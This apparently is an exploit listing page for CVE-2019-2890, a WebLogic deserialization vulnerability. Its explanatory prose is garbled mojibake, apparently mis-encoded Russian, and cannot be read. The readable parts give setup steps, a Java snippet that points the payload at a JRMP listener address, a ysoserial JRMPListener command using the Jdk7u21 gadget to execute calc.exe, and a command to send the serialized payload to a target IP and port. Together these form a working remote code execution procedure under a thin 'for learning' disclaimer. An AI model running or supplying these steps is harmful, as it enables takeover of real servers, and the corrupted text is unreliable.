## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-L1NK3RLIN-CVE-2019-2890
## ΠΡΠΊΠ°Π· ΠΎΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ
Π’ΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ ΠΎΠ±ΡΡΠ΅Π½ΠΈΡ ΠΈ ΠΎΠ±ΠΌΠ΅Π½Π° ΠΎΠΏΡΡΠΎΠΌ. ΠΠ° ΠΈΠ½ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΡ Π½Π΅ΡΡΡΠ΅ Π²Ρ ΡΠ°ΠΌΠΈ.
## ΠΠΎΡΡΠ½Π΅Π½ΠΈΠ΅
ΠΡΠ΅ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΡΠ΅ jar-ΡΠ°ΠΉΠ»Ρ ΡΠΆΠ΅ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°Π½Ρ Π² ΠΏΡΠΎΠ΅ΠΊΡ, Π° Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΌΠ΅ΡΠΎΠ΄Π° ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ JRMP ΠΈΠ· yso. ΠΡΠΈ ΠΈΠ·ΡΡΠ΅Π½ΠΈΠΈ ΠΈ ΠΎΡΠ»Π°Π΄ΠΊΠ΅ ΡΠΏΠΎΡΠΎΠ± ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ.
Π‘Π½Π°ΡΠ°Π»Π° ΠΏΠΎΠΌΠ΅ΡΡΠΈΡΠ΅ ΡΠ°ΠΉΠ» **SerializedSystemIni.dat** ΠΈΠ· ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° weblogic Π² ΠΏΠ°ΠΏΠΊΡ **security**.
ΠΠ°ΡΠ΅ΠΌ ΠΏΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΡΠΉΡΠ΅ yso Π² **ysoserial.jar** ΠΈ ΠΈΠΌΠΏΠΎΡΡΠΈΡΡΠΉΡΠ΅ Π΅Π³ΠΎ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³ **lib**.

ΠΠ°Π»Π΅Π΅ ΡΠΊΠ°ΠΆΠΈΡΠ΅ IP-Π°Π΄ΡΠ΅Ρ ΠΈ ΠΏΠΎΡΡ Π² ΠΌΠ΅ΡΠΎΠ΄Π΅ **getObject** Π² ΡΠ°ΠΉΠ»Π΅ **weblogic/wsee/jaxws/persistence/PersistentContext.java**.
root@kitploit:~
try {
var3.writeObject(Poc.getObject("127.0.0.1:8000"));
} catch (Exception e) {
e.printStackTrace();
}
ΠΠ°ΠΊΠΎΠ½Π΅Ρ, ΡΠ΄Π°Π»ΡΠ½Π½ΠΎ ΠΏΡΠΎΡΠ»ΡΡΠΈΠ²Π°ΠΉΡΠ΅ ΡΠ΅ΡΠ΅Π· JRMP ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠΉΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ 7u21.
root@kitploit:~
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
ΠΠΎΡΡΠ΄ΠΎΠΊ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ: Π·Π°ΠΏΡΡΡΠΈΡΠ΅ Poc.java Π΄Π»Ρ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° poc.ser, Π·Π°ΡΠ΅ΠΌ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅:
root@kitploit:~
python weblogic.py ip port poc.ser